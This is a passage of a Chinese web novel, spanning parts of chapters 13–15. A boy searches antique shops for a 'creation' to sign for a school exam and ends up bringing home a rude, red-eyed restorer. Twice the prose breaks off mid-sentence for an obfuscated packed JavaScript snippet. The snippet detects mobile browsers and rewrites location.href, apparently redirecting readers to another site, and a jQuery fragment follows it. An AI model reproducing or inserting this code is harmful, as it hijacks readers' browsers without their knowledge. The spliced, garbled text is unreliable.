街边几排老房子颜色越发沉郁,像一张张被水泡过的明信片,字迹模糊,说不清要寄给谁。 可能因为空气太闷,林栖有点心不在焉,凌壑一路上逗了几次,都没能把他逗笑。 观沄也比平时话少。 老街本就僻静,赶上天气不好,店铺大多闭门谢客,远远看去,只有一家热闹—— 古董造物店外站了两排客人,长的那队排了十几个,短的也有七八个。 凌壑道:“看来邀请真没少发。” 他迈开长腿,乐颠颠地过去打听,片刻回来汇报情况,两队人不一样,左边的有邀请,右边没有。 右边都是家长带着孩子,特意为了补考题目来的,因为情况特殊,店主破例同意他们进店,不过要先等着预约客人都看完了,他们才能进去。 参观限时五分钟,每次只能一个人进。 凌壑之前想着,他和观沄都有邀请,但林栖没有,就又找人要了一张。按上次的经验,借别人的邀请没用,但来都来了,好歹试试。 他让林栖排在前面,万一不行,就等出来之后再排另外一队。 潮湿的水汽裹着屋脊房梁,林栖进门时,闻到了一股比上次更冷凉的木质香。 门厅里的那张屏风撤了,窄门侧旁摆了一张黑瘦单薄的椅子。 修复师靠坐在椅子上,单手拿着一本薄薄的书,掌心摊开,食指轻轻托着书脊。 这本书有点奇怪,通体漆黑,封面覆着哑光的革纹材质。 见林栖进门,修复师视线略微一抬,又落回书里,闷咳一声开口:“有邀请么?” 目光沿书页扫过一行,补充道:“有邀请的二楼左转,没邀请的三楼右转。” 林栖想着自己是来蒙混的,不好正面回答问题,于是举起装了邀请函的信封,隔空朝他晃了晃。 薄而脆的纸张掠着空气发出轻响。 修复师看着书页,朝他抬了抬手,“拿来我看。” 林栖走过去,隔着一步距离递出信封。 修复师却没有接,视线依然落在书里,拇指侧缘捻着纸面,轻轻翻过一页,略为抬眸,余光朝林栖浅浅一扫,道:“换一只手。” 说完又闷咳几声。 林栖看出他似乎病了,眉宇间有一层郁色,人很苍白,声音也有一点哑。 他不想跟病人计较,把信封从右手换到左手,重新递出。 对方却又道:“手转过来。” 林栖:“……” 正常人往外递信封时,都是手腕朝上。拇指下压,四指上托,才好保持平衡。 如果把手腕翻转过来,就会变成捏着信封往外递的姿势,自带一种微妙的嫌弃感,很奇怪,也不太礼貌。 林栖在心里默念:他有病他有病他有病…… 不情不愿地转过手腕,捏着信封递了出去。 他伸着手晾了几秒,这位有病的修复师才不甚在意地抬起视线,朝他手上看了一眼,却依然没接信封,只是缓缓合书起身。 有那么一瞬间,视线相触,林栖看到这人眼里也带病气,双眸红色又沉又浓,仿佛掀开伤疤,渗出血腥。 林栖心口一滞,有些分神。接着就见对方隔着一些距离抬手,将那本书朝他递了过来,却不是要把书给他,动作在他颈前顿住,微微一斜,书脊末端在他右侧衣领挑了一下。 这动作,就仿佛林栖领子里藏着一条剧毒的蛇,只要一点毒液就能致人死地,所以不能直接动手,要先打草惊蛇。 只短短一瞬,修复师就收回动作,垂着视线看他,脸上表情很怪,眉间皱着反感,眼底透出厌恶,仿佛多看林栖一眼都烦得想死。 林栖:“……” 烦你还看? 片刻,修复师漠然移开视线,又翻开手里的书,冷淡道:“你上去吧。” 哦。 林栖已经来过一次,不需要有人带路,径直穿过窄门上楼,来到展厅。 外面天气比之前更加阴沉,展厅又没开灯,老式展柜沉默矗立,好似一排排的墓碑。 林栖走进展厅,把脚步放得很轻,但还是能听到一声声的空寂回响,让人难以集中精神。他一边走,一边捏着手指,摸索许久才后知后觉,食指关节上的创可贴不见了。 出门时明明贴了,掉在哪儿了? 心底忽然升起一种难言的失落感,林栖快速看完几排展柜,转身朝外走去。 展厅外面开了灯,一片冷白萧索,被门框拘成竖立的长方形,远看比那些黑沉沉的展柜更像墓碑。 白色的墓碑,压着崭新的坟。 林栖怔了怔神,下意识地放缓脚步。 他有点不想往前走了。 这时门边传来一阵闷咳。 林栖看过去时,门外冷白的光连同一道暗色剪影一起映入眼中。 低黯的少年嗓音带着病气,从门边幽幽传来,“你上次说,想找林叙的造物,为什么?” 隔着一段距离,林栖看不清对方表情,不过周围很静,能听出声音里的细节,语气依然透着冷淡的反感。 于是林栖也冷淡回他:“好奇。” 对方又问:“哪种好奇?” 林栖:“……” 好奇还分品种的吗? 他敷衍道:“各种好奇。” 对面静了静,冷淡的语气中又多了些许不耐烦,“那今天呢,来找什么?” “能署名的。”林栖回答。 “署名……”少年缓声重复,像在仔细拆解着这两个字,片刻道,“你也参加补考,今年几岁?” “十二。” 林栖说完,单薄的少年身影缓步走近,在阴沉光线下垂眸看他,眼中透着令人反感的审视,“十二?你确定?” 林栖:“……” 不确定。 但是。 管得着吗? 他不客气道:“那你说是几岁?” 对方像是根本没在听他说什么,又问:“你叫什么?” 林栖也问:“你叫什么?” 对方皱了下眉,没有回答。 很好,聊不下去了。 沉默对峙片刻,修复师冷淡提醒:“五分钟已经到了。” 林栖“哦”了一声,心道,多亏你在这里浪费时间。 修复师似乎要亲自将他“扫地出门”才能放心,转身在前面带路。林栖走在后面,一路听着断断续续的咳嗽声,心中继续默念:他有病他有病…… 别跟他一般见识,否则会被传染。 两人一前一后下楼,修复师手腕轻轻搭着木质扶手,临近转角时,手指轻轻向下一敲,再抬起时,指间已经多了一张名片,颜色像是夜幕,深郁近黑。 走下最后一级台阶,他回身抬眸,将名片递到林栖手边,“三天后再过来,我这有件造物很适合你。” 名片边缘触到皮肤,林栖像被极冷的冰锥刺了一下,指节本能一缩。 少年收回视线,朝窄门方向一指,“不送。” 出门之后,林栖看着捏在手里的名片沉默:“……” 这张名片上甚至连一个人名都没有,只在正面用古语写着店名,细瘦的暗金色,带着一点斑驳铜锈似的反光。 嗯……很好看的字体,配色和细节也很精美。 但是,他为什么要接? 对方这么有病,拿着他的东西,就不怕被传染吗? 林栖站在门外,长长呼了口气。 空气似乎比进店之前更闷,水汽蒙在身上,几乎可以感觉到重量。 观沄和凌壑也去店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479274|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里逛了一圈,出来时说,没看到很合适的造物。 林栖很想问问,他们有没有被那个“有病”刁难,但又问不出口。 默默走了一段,他忽然觉得哪里不对,回头朝那家店看了一眼,门外依然排着两队人,左边的预约客人只剩两个,右边则排了长长一行。 确实不对。 既然规定了预约客人先进店,那就没有两个选项,为什么还要问他有没有邀请?又说什么二楼三楼…… 这人果然病得不轻。 往前走了一段,观沄道:“明天我们再去逛几家店,多找找看。” 林栖“嗯”了一声。 隔着布料,捏了捏放在衣兜里的名片。 该不该把这件事告诉观沄? 肯定是应该的。 但是…… 好烦。 再说吧。 一路上,凌壑聒噪着介绍学城里的其它店铺和私人藏家。 回到家后,林栖忍不住好奇,为什么一定要找古董造物?还要中级? 凌壑跟他解释,在一件造物上,可以同时存在三种标记:“造物印”“控制印”和“署名”。 署名简单,但效力也差。 只有当一件造物没有造物印和控制印时,才能被别人重新署名。 其中“控制印”可以变更或清除,而“造物印”并不是任何一种可见形式的标记,它是造物师和造物间的“关联性”,只有在造物师去世以后,这种关联性才会消失。 所以古董造物适合署名。 等级问题就更简单了,这次补考,考生有一百多个,而名额只有四个。学校说要“择优录取”,怎么优?难道是比谁的名字写得更漂亮吗? 当然是比谁的造物更好。 初级造物容易找到,不足以让考生脱颖而出,想要保证拿到名额,造物等级肯定是越高越好。 即使署名中级造物的考生超过四个,在同等级的情况下,也会进行二轮评选,还有周旋余地。 而“高级”几乎不用考虑。 古董造物本来就少,能达到这种级别的更是凤毛麟角,在一场补考里,不可能突然冒出四件高级造物。 林栖懂了,中级造物是一个很稳妥的选项。 玻璃窗上忽然传来一阵噼啪声响。 下雨了。 松林里渐渐漫起一层雾气。 阴沉夜幕衬得雾色苍白,仿佛凝着冷霜。 雾气深处,几处透明黑影微微一晃,如败絮随风,散入雨幕,又在远处悄然聚起,如同夜归的鬼影,伴雨声踽踽前行。 老街夜市亮着灯,几点火光在雨中更显萧索。 古董店大门紧闭,雨水浇灭了屋檐的灯,整间店铺黑沉沉的,仿佛就要消融在浓稠的夜幕里,只剩一片极模糊的轮廓。 店主独自站在二楼窗边,深郁红瞳倒映远处街景。 潮湿厚重的空气卷动窗帘起伏,他闷闷咳了一声。 许久,老旧的家具和墙缝之间渗透出起伏的黑影,渐渐凝成人形,蠕行至店主身后,躬身靠近,无声低语。 语毕,黑影后退一步,悬空缩成薄薄一片人形剪纸,像是祭扫时的纸钱,只需要一点火星,就无声燃烧起来,落地时,只剩浅浅一撮灰烬,风一吹就散了。 雨打着老式窗户,顺着光滑的玻璃表面滚落,透明光影映照在苍白的少年面孔上,画出一行一行水痕。 他微垂眼眸,隔着厚重雨幕遥望松林,在心中反复推敲那些细节。 那孩子名叫林栖,也姓林。 和少年时的林叙有着同一张脸。 却不是他。 林叙左手食指有伤,右侧锁骨前端也有。 而且—— 林叙已经不在了。 他遗留的造物上早就没了他的印记。 那不会是他。 不可能。 14. 第 14 章 清晨,雨停了。 松针上的雨滴震落下来。林栖躲在院门前的雨搭下,看松鼠在枝头晨跑,直到观沄叫他吃饭,才扶着门框起身。 蹲太久,腿麻了…… 今天的任务还是出门逛店找造物,第一家要去的店名叫“金阁”,位于上城区,在学城里很有名气。 近年来最有名的几件天价造物,都是从这家店里卖出去的。 进门时,凌壑递了凌家名帖。 制服笔挺的中年店长亲自下楼接待,跳过一层二层,直接把人领到位于第三层的贵宾专区, 这区一向只对会员开放,今天算是破例卖个人情。 精美的独立展柜里摆放着古董造物的复刻模型,供客人直观挑选,而造物本体则存放在店铺后区,由专人负责维护。 每一件造物都配有漆面描金的介绍手册,附带专业修复师的维护记录和鉴定师的评级证书。除此之外,店铺还为五星会员准备了限量定制款的专用收纳箱,并赠送一次免费的上门维护服务。 商品介绍牌上明码标价,林栖作为文盲,看不懂介绍,但会数零。 平均两三个零,似乎不是很贵。 凌壑话多,跟林栖叭叭讲过一些当地物价,比如苹果5元一颗,米饭2元一碗,普通面包1元一根。 如果租房,单人间每月2-4千,套间5-8千,独栋1-3万。 不过林栖并不知道,这只是下城区的标准,跨区之后,房租价格至少翻倍。 且在学城不止一种计价单位,除了“元”之外,还有“金”。 两种单位除了符号不同,标价所用颜色字体也有明显区分,黑色是“元”,金色是“金”。 眼前这个介绍牌上,就写着明晃晃的金色数字。 而金和元的换算比率是——1:500。 凌壑随意逛了两圈,问店长道:“怎么都是初级?” 店长微笑回答:“您看得没错,都是初级。这些初级造物维护良好,功能实用,都很适合署名,而且价格划算。您可以先看看喜欢哪些,我再根据您的喜好重点推荐。” 凌壑随手捋了一下发尾,笑道:“难怪没有看顺眼的,您这些都太划算了,可是我就喜欢那些没有性价比的。” “那您真是很有眼光。” 店长做个请的手势,把几人带往另外一个展厅。 这是一间超过五十米的长厅,十几只定制展柜纵向排开,里面同样只有模型,实物要在交付定金之后才能预约鉴赏。 和之前不同的是,这区域的每只展柜上,都立着一面金色小旗。 林栖看不懂旗子的意思,观沄面朝展柜若有所思,凌壑则不把自己当外人地上前一步,随手摘下一面小旗,逗猫似的朝林栖晃了晃,问店长道:“这么巧?全都被预定了?” 店长微微颔首,浅笑回应:“是的全部,不止您看到的这些,就连本店目前唯一一件镇店级的名家造物也被定了。” 凌壑玩味一笑,挑眉问:“什么时候定的?被谁定的?” 店长似乎早就猜到有此一问,微微鞠躬以示歉意,“小店能维持至今,全靠各位藏家照拂,请恕小店不能透露顾客个人信息。 不过……您也是为了这次考试来的,应该知道,这次的考题是昨天上午九点放出来的,而小店是在九点零一分接到的预订电话,并于九点零五分收到了第一笔的定金。” 空气静了一瞬,凌壑伸手指过一排展柜,“所以这些都是同一个人定的,而且全部付了定金?” 店长没有正面回答,只道:“小店预定一向以定金为准,金额按藏品总价10%计算,预定之后,不论因为何种理由最终未能成交,定金均不予退还。” 凌壑抑扬顿挫地“哦”了一声,“好大的手笔,这位大收藏家是打算把你们家店买空了,再另外开一家吗?” 店长礼貌一笑,并不回答,以示自己听懂了凌壑的调侃。 当然不可能全部买走。 凌壑:“这位客人打算什么时候来挑?” “客人那边说临时有事,具体时间还不能确定,但为了考试,一定会赶在时限结束之前过来。” 考试限时七天,等他选完都到最后一天了,别人还怎么选? 对面的这位考生,或者说考生家长,不但消息灵通,而且行动迅速、心黑手狠,自己抢跑还不够,跑完还要把路炸了,把别人都踹进沟里。 凌壑缓缓鼓掌,赞叹道:“占着茅坑不拉屎啊。不得不说,这位客人撅屁股的姿势可是够熟练的,一看平时就没少窜稀。” 这话和展厅格调实在不搭,中年店长礼貌而不失尴尬地笑笑,“您真风趣,或者几位先到外面坐坐?我把图册拿来,几位可以再选选看。” 凌壑手指拨弄着金色小旗,挑眉道:“可是我就想选你家最贵那款。” “您这就是给我出难题了。”店长虽然这样说,但并没咬死拒绝,只是笑着,微微眯起目光,打量他,又打量观沄。 意思很明显,这事还可以谈。 有定金就有违约,不过得搭上店铺信誉,要想成事,就得出得起这个价钱。 店长一双淬过火的眼睛,虽然只收了凌壑的名帖,但从一开始就看出来了,观沄也不是一般人。 凌壑拿着旗子,朝观沄眼前一晃,观沄偏头避开。 凌壑笑问:“你觉得呢?” 观沄沉默片刻,朝店长道:“打扰了,如果预定客人提前选好,请及时联系我们。” 店长礼貌送客。 离开之后,他们又按计划去了另外几家造物店。 其中一家位于城区交界处,店面极小,好像面包里的奶酪片一样,夹在另外两家大店之间。 店主是个笑呵呵的老人,说起古董造物如数家珍,但店里有且仅有一件中级造物。 造物是一只玩偶小熊。 老人感慨,说这是一件有故事的造物,是身患绝症的母亲特意为年幼的女儿定制的,在她走后,小熊代替她,陪伴小姑娘度过了整个童年。 不过这个故事发生在一百年前,造物小熊几经转手,损毁之后又遭风蚀雨打,表面绒毛斑秃,眼睛配不成对,内里几乎完全空了。 哪怕是一只从初夏风干到隆冬的蝉蜕,看起来也比这件造物结实一点。 然而,就是这样一件空壳,也已经被预定了。 老板说,他当时有些犹豫,但对方为表诚意,把定金比例提高到了70%,足够这家小店维持半年……他很难不接受。 剩下几家情况也是一样,包括鉴定师的个人工作室和收藏家的私人宅邸。在整个学城范围内,市面上所有适合署名的中级造物都已经被预定了。 几人在外面吃了晚饭,回程时夜色已深。 路上,林栖倚着车窗睡着了,观沄帮他垫好头枕,收回视线时,神色逐渐从温和转为冷清,睫影下方透出一股倦意。 “我刚还在想呢,你还能再装多久。”凌壑坐在前排,勾着椅背回头看他,“模范家长不好演啊~” 观沄没理他,甚至连眼皮都没抬一下。 凌壑继续道:“凭你的本事,真想截胡还能截不到么?实在不行回家一趟,或者我替你回去一趟也行。” 观沄依然不理。 凌壑:“都说了这次是考家长,你不累谁累?” 片刻,观沄终于“嗯”了一声,道,敷衍道:“你说得对。” 从拿到考题的那一刻他就知道,这次考试是要看家长们如何各显神通,利用金钱人脉权势地位,为孩子拼抢到一个入学名额。 以前他还在任教时,也见过这种考题,但当时的要求是署名+控制。 中级以上造物都有“生命”属性,能让中级造物认可,本身就是一种天赋证明。 考试要求学生家境优渥且有天赋,不算公平,但勉强还算合理。 而这次考试已经完全背离了教育初衷。 对历史悠久的造物学院更是一种不加掩饰的羞辱。 观沄个人对此深恶痛绝,然而站在林栖监护人的立场上,他又不得不承认,这才是他想要的结果。 如果林栖一定要去上学,他希望林栖在别人眼中是一个“平庸的小少爷”。 同学觉得他天赋平平,就不会嫉妒他,知道他家境殷实,就不敢欺负他。 这样,林栖未来几年就能安稳度过。 窗外,夜幕下的松林蒸着薄薄一层雾气。 车子在小路尽头停稳,凌壑下车拉开后门,要背林栖起来,但刚一伸手就被观沄拦住。 “好好好,你儿子,你自己背。”凌壑举手投降,顺便扯下发圈,重新绑了一遍头发。 观沄却也没背林栖,只是屈指,在男孩儿额头抵了抵,温声道:“醒醒,到家了。” 林栖睁开眼睛,揉了揉,朝观沄投去茫然的目光。 其实他没睡着。 本来只想闭上眼睛待会儿,但观沄给他垫了枕头,他也就配合着继续睡了。 所以,凌壑说的那些他全部都听见了。 晚上回去洗漱之后,他对着镜子练了几遍表情,拿着那张夜空色的名片,敲响了书房的门。 修长的立式台灯下,观沄合上速写本,回眸朝他微笑,“今天走累了吧?” 林栖摇头,走过去,将名片托在手心里给观沄看,把这件事跟他说了。 当然,他只说了重点,省略了许多细节。 观沄拿起名片看了看又放回林栖掌心,“为什么之前不说?” 林栖做出对着镜子排练过的表情,垂着头,微微皱眉,支吾道:“那个修复师脾气不好……我有点怕他。” 观沄也见识过那位的臭脾气,了然一笑,随即又微皱眉头,“是不是他欺负你了?” 林栖摇头,刚吹干的头发蓬松柔软,随着动作微微晃动。 他犹豫着,闷声道:“他眼睛有点吓人……” 小孩子总会因为各种奇奇怪怪的理由感到害怕,又因为别扭的自尊不愿意向家长坦白,却也不敢一直瞒着,所以拖着拖着,还是说了。 林栖现在的反应很好理解。 观沄倾身向前,“可是再去一次又要看见红眼睛了,你不怕么?” 林栖微微撇了下嘴,“没事,我不看他。” 林栖确实是这样想的,不管对方怎么“有病”,只要他不看不听不理,对方也不能把他怎么样。 好,就是这样。 没问题。 只需要再去一次就够了。 就这一次。 以后再路过那条老街,他都绕着道走。 两天时间,足够林栖搭建心理防线。 在踏上老街的石板路前,他觉得,自己已经对“有病”完全免疫了。 可当街道两旁的铁皮风铃沙哑响起,他背上还是起了一阵颤栗。 好像不止没有免疫,还对“病毒”更敏感了。 林栖脚步在青石砖上一顿,心里忽然很慌,仿佛莫名其妙欠了别人几个亿,现在非但不跑,还要主动送上门去。 从街角到店门前的这段路,他完全是靠着自我催眠走完的。 回过神来,才发现今天的老街异常热闹,十几辆豪车从店前一直排到街尾。 衣着得体的家长们堵在门口,顶着大太阳,接力赛似的自报家门,他们的孩子则在一旁的树荫底下排队等着。 凌壑迈着长腿过去,跟那些家长附和几声,回来时叹着气道:“竞争很激烈啊,店还没开门,队已经排了这么长了。” 在来的路上,凌壑已经分析过了,这家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483764|184739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店主恐怕很有心机,想趁着考试狠捞一把。 先是一反常态,发了一堆邀请,把人叫来参观,等人来了,却又只把一些普通造物放在店里,让人无从下手。 这样一来,店铺既收获了关注度,又避免了像其他店铺一样,被人占着预定,无货可卖。 等所有家长像他们一样四处碰壁,发现市面上已经没有造物可以选的时候,店主只要稍微透出一点风声,就能把人引来。 林栖能拿到名片,别人肯定也能拿到。这是放长线钓大鱼呢。 每个家长嘴上都扎着一根钩子,被鱼线拉着,就算跑得再远,也得乖乖回来,任凭店铺坐地起价。比正常市价翻个两三倍都算少的。 林栖一路听着凌壑分析,但一句也没听进心里。 到了店门外,观沄领他过去排队,他就乖乖排着,和倒数第二名隔着半米距离站在队尾,视线放空,长睫低垂,已经提前开始了不听不看不理的入定状态。 队伍里有几个孩子认出林栖,议论声在一颗颗小脑袋之间嗡嗡传递—— “……他就是画院考零分的那个?” “我之前都不知道还有零分……” “我听我哥说的,这是画院有史以来唯一的一个零分,请注意,是唯一的……” “哇~长见识了~” “好奇怪啊,不都说他是天才吗?” “而且就连老僵尸也不选他,我还去考了呢,笔试85分。” “好烦呀,我不想去造院。” “谁想去造院啊,我想去祈院……” 这些声音像一条小溪环绕在林栖身边,但一朵水花也没进到他耳朵里。 他在忙着入定。 片刻,学生的议论声和家长的谈话声一起戛然而止,周围静得突兀,好像用橡皮在混乱的画面中硬擦出了一道留白。 风铃声从留白处乘虚而入。 林栖心头一跳,忽然就破了功。 这时,老旧店门打开,先从门缝里伸出一把扫帚,左右挥挥,接着走出一道瘦小人影。 ——是那个名叫独角仙的男孩儿,头顶那根黑色尖角在烈日下投着长长的影子,落在下巴上,像一撮山羊胡子。 门边家长一边躲着扫帚,一边试图跟他搭话,他则一边飞快扫地,一边左右张望。 忽然,他视线朝队尾一停,拎起扫帚就朝林栖走了过来。 扫帚带起一层白烟,独角仙捂着嘴道:“跟我进来。” 老老实实排着队的林栖:“?” 独角仙用手扇了扇灰,又呸呸吐了两口气,见林栖站着不动,也不跟他废话,伸手一抓,就拽着他的胳膊往店里走,一边走还一边抡动扫帚,把两边碍事的人顺手掸开。 买得起古董造物的家长都是体面人,对扫帚表现出了足够的敬意,纷纷向后退避,等回过神来,就见独角仙已经拉着林栖到了门口。 有个家长反应很快,当即质疑:“怎么回事?这孩子是刚来的,怎么先让他进?” 旁边一人也回过神来,“对啊,我们孩子才是第一个来的,都好好排着队呢。” 其他家长跟着附和,门外顿时群情激昂。 独角仙手上一推,把林栖送进门里,反手关了大门,自己在外面杵着扫帚转身,“谁让你们排的?有预约吗?没看见关着门吗?” 确实,关门就是谢客的意思,家长们没有提前预约,本来也只是过来排着试试。但他们只能接受所有人都排不到,接受不了别人可以而自己不行,尤其不能容忍有人插队。 人群中又爆出一阵声讨。 木门并不隔音,在店里也能听得清清楚楚。 林栖看到一楼门厅又支起了屏风,窄门旁边没有凳子,也没有人拿着书坐在那里。 他犹豫着向前走了几步,试图找到之前那种入定状态,却迟迟没能成功,连木地板上反弹的脚步声响也听得丝丝分明。 忽然“吱呀”一声,窄门被人从内推开。 少年斜身侧着一步,单手撑在门上,站得十分随意,稍稍侧眸,一双深红色的眼睛朝他打量过来。 林栖站着没动,默默跟他对峙。 隐约觉得,这人和上次不太一样。 是因为病好了吗? 片刻,对面开口,冷淡的少年嗓音透着些许漫不经心。 “店主让我跟你一起去上学。” 林栖没听懂。 每个字都听见了,但是没懂。 对面淡淡“哦”了一声,“我忘了,你没长嘴。” 这一刻,林栖提前做的心理建设全部成了废纸,漫天抛洒下来,投落错乱的光影。 他隐隐觉得哪里不对,非常不对,“跟我上学?什么意思?” 对面一脚抵住房门,背朝门框一靠,抱起手臂,“你不是要去造院上学?” “……对,所以呢?”林栖心跳闷闷的快了起来。 “所以?”少年像是被气笑了,抿唇闭了一下眼睛,“你今天是干什么来的?出门忘了带脑子吗?要不要等你回家装好脑子再来?” 林栖顿时很想回他一句:你才没有脑子,说话这么冲,脑壳里面全是辣椒油吧?怪不得眼睛那么红。 他一边觉得这人性格比以前更差了,一边想着,他差他的,和自己没关系。 他忽略掉那些嘲讽,只是回答问题:“我来选造物。” “对,你来选造物——”少年唇角勾着一抹不驯,用一种看智障的眼神看他。 “然而你这两颗水汪汪的眼珠子,却连造物都认不出来。” 认不出…… ……什么? 林栖被自己的想法震惊了。 但又好像不是特别震惊…… 他面色平静,看着对面,许久才眨了一下眼睛。 15. 第 15 章 古董店门外。 家长们吵了一会儿,发现没用,逐渐冷静下来,听着自家孩子议论,后知后觉,之前进店的孩子不是一般人,带他来的两个成年人更不一般,其中一个就是的观沄。 他们大都没见过观沄,但久闻大名,根本不敢得罪。 他们之所以愤愤不平,一方面是因为见到有人享有“特权”,可以不排队就进店,另一方面是因为,他们不理解这种“特权”源自哪里。 不过现在没事了,观家的孩子有特权很合理,他们完全能够接受。和规矩相比,弱肉强食才是他们习以为常的生存法则。 家长们默契地和观沄保持距离,又因为不了解这背后的利害关系,对店员也比之前客气。 一个家长朝独角仙道:“这是我的名片,想跟你们店主当面谈谈。” 独角仙低头抠着扫把杆子上的倒刺,一脸消极怠工的颓丧,拖沓着语调,“可是我们店主他不在啊……” “另外再约时间也可以,你看下午行吗?” “下午也不在啊。”独角仙指甲掐住小小一根倒刺,猛地一扥。 “那你说个时间?我这边也提前安排一下。” 独角仙抿着嘴唇,扯出一个标准假笑,“实话跟你说吧,我们店主平时根本不来店里,连我都没见过,别说你了。” 家长不信,“如果店主长期不在,那平时谁管事情?” “所以就是没人管啊……你去外面打听打听我们家的风评吧。”独角仙一脸我也很无语的表情,“整家店就两个童工,我负责扫地,另外那个负责得罪客人,能开到今天都算奇迹。” 他个子矮,但嗓门儿大,“不过你们也不用生气,这店应该马上就倒闭了,也算恶有恶报吧,而且倒都倒了,别人还能说什么呢?毕竟‘人死为大’,大不了就是‘入土为安’。” 家长:“……” 学生:“……” 一旁,凌壑朝观沄凑了凑,“看来这位不止负责扫地,还兼顾得罪客人。” 观沄没说话,只看着店门方向。 又过片刻,紧闭的木门终于开了。 身形瘦小的男孩儿低头迈过门槛,脚步明显有些迟疑。 似乎不太顺利。 店外瞬时一静。 所有人都看到,林栖是空着手出来的。 观沄走过去,略微俯身,影子投落在林栖身上,在炎炎烈日下遮出一片阴凉,温声问:“没选到么?” 林栖迟疑着摇了摇头,漆黑澄澈的眼中透出些许茫然。 观沄又凑近些,“那选了什么?” 林栖抿了一下嘴唇,还没挤出措辞,身后的老式弹簧门就再次被人推开,唱戏开嗓似的发出“吱呀”一声。 少年修复师一身简单利落的外出服,踩着一双越野皮靴,双手戴着户外手套,提着一只老式皮箱推门出来,在所有人的目光注视下,径直走向林栖。 箱子四面钉着黄铜护角,居中绑着皮质扎带,侧面上锁,一看就很适合存放贵重物品。 修复师在林栖身侧站定,拎着箱子的手腕微微一抬,理所当然道:“贵重物品,送货上门。” 林栖默默朝他看了一眼。 十分钟后,限量款的私家车上。 凌壑双手撑着方向盘往后看,修复师带着箱子坐在第二排,林栖和观沄则坐在最后。 车子刚一启动,凌壑就朝修复师问:“诶,箱子里的东西什么等级?” 修复师垂眸,拆下一只手套,又解开交叉在掌骨上的黑色绷带,以几毫米的误差调整角度,重新绑好,而后才淡淡回道:“我只负责送货,陪聊是另外的价钱。” “这样啊~”凌壑无所谓地一笑,“听说你们店主常年不在,店都快倒闭了,是该努力发展一下副业。” 修复师仿佛听到了什么无聊的催眠段子,撑着眼皮斜他一眼,靠着椅背,闭上了眼睛。 凌壑又嘴贱地逗了几句,见这小孩儿逗不动,于是找上观沄,聊着最新版的怪物传说提神。 据说一连消失好几天的幽冥忽然又出现了,而且目击地点距离学城只有五十公里,警备队紧急加强布防,暂时还没得到新的目击消息,但所有人都猜测,幽冥在被围困之后逃脱,现在突然出现在学城周围,肯定是要搞点事情。 一路上,林栖格外安静,仿佛自己把自己绑架了,从头到脚,几乎纹丝不动。 观沄以为他选造物选得不太顺利,而事实上,他此刻的心情就像出门捡到流浪猫狗,没经家长同意就给带回来了,现在完全不知道该怎么解释。 而且……别人捡的流浪猫狗都是小小一只,他却捡回来那么大一个。 他无数次在心里想象,能不能打开车门,把这个人连同他的箱子一起扔出去,只当什么事都没发生过。 或者在车底挖个洞,让这人直接掉出去。 又或者…… 他就这样一路畅想,眼睁睁看着某人跟他们一起到了目的地,下了车,爬了楼梯,进了院子…… 进屋之后,观沄给他选了一双奶白色的薄棉拖鞋,又多拿出一双新的客用拖鞋。 蹲下换鞋时,他垂着脑袋偷瞄身后,看到某人拎着箱子,单手扯开鞋带,脚跟在门框一磕,就将短靴留在门外,一脚踏了进来。 动作细节实在很有活人感,非要说的话,比他自己还像真人。 这人怎么会是造物? 等等……是不是他误会了? 他先入为主,以为修复师本人就是造物,所以修复师说要把自己“送货上门”,那箱子里面当然装着行李…… 但是…… 林栖忽然重新打量那只箱子,同时余光注意到,凌壑也在瞧着同个方向,而观沄虽然没直接盯着箱子看,却也在旁边等着。 果然,他们都觉得造物在箱子里。 只有自己脑回路不太正常。 凌壑斜对着试衣镜,拨了拨耳骨上的银钉,又拆下发圈,手指梳着长发重新绑好,朝修复师道:“送、货、上、门,现在送也送了,门也上了,总该能看了吧?” 修复师无所谓地抬了一下唇角,淡淡道:“你想怎么看?” 几分钟后,客厅。 手提箱摆在矮桌上,修复师背靠窗户单独坐在一边,观沄带着林栖坐在对面。 凌壑屈着一双长腿蹲在桌边,一张帅脸几乎凑在箱子上,打量片刻后道:“你这箱子好像不太值钱吧?这能配得上中级造物?” 修复师略微一抬视线,“看来你很懂造物?” “我懂风险,你看,这锁也不太结实,一撬就开,而且你又是个童工,今年多大?有十三吗?” 凌壑笑着朝他身上打量,“像你这样的,如果是往危险地区送货,简直就是哭着喊着请强盗来打劫你。” 这话乍听之下像是找茬,但也不是没有道理,正常不会派这样一个十几岁的单薄少年运送贵重物品,除非他身上藏着什么别人看不出的本事,足以一力护住价值上百万的货物。 少年修复师比想象中更沉得住气,不解释也不反驳,只目光静静扫了过来,片刻“哦”了一声,道:“懂了,你们这三个人,六只眼,加起来也凑不出一个人会看造物。” 林栖忽然有种冲动,想拿创可贴把这人嘴巴糊上。 心情大概类似于给流浪猫剪指甲,防止他一回家就闯祸。 凌壑笑道:“这都被你看出来了?我肯定不懂造物,但是——有人懂啊,我们这边已经约了鉴定师,说话就到。” 观沄闻言,目光朝凌壑一斜,脸上仿佛写着:我们?我怎么不知道? 凌壑灿然一笑:现在知道也不晚嘛~ 林栖垂着眼睫,屈指蹭了一下鼻尖,同时朝对面偷瞄一眼,那么不巧,正和某人撞上视线。 冷淡的红色深处,是一抹事不关己的笑意,像是等着要看什么热闹。 好像哪里不对。 这时外面响起敲门声,凌壑起身伸个懒腰,片刻领进来一位发色灰白的老人。 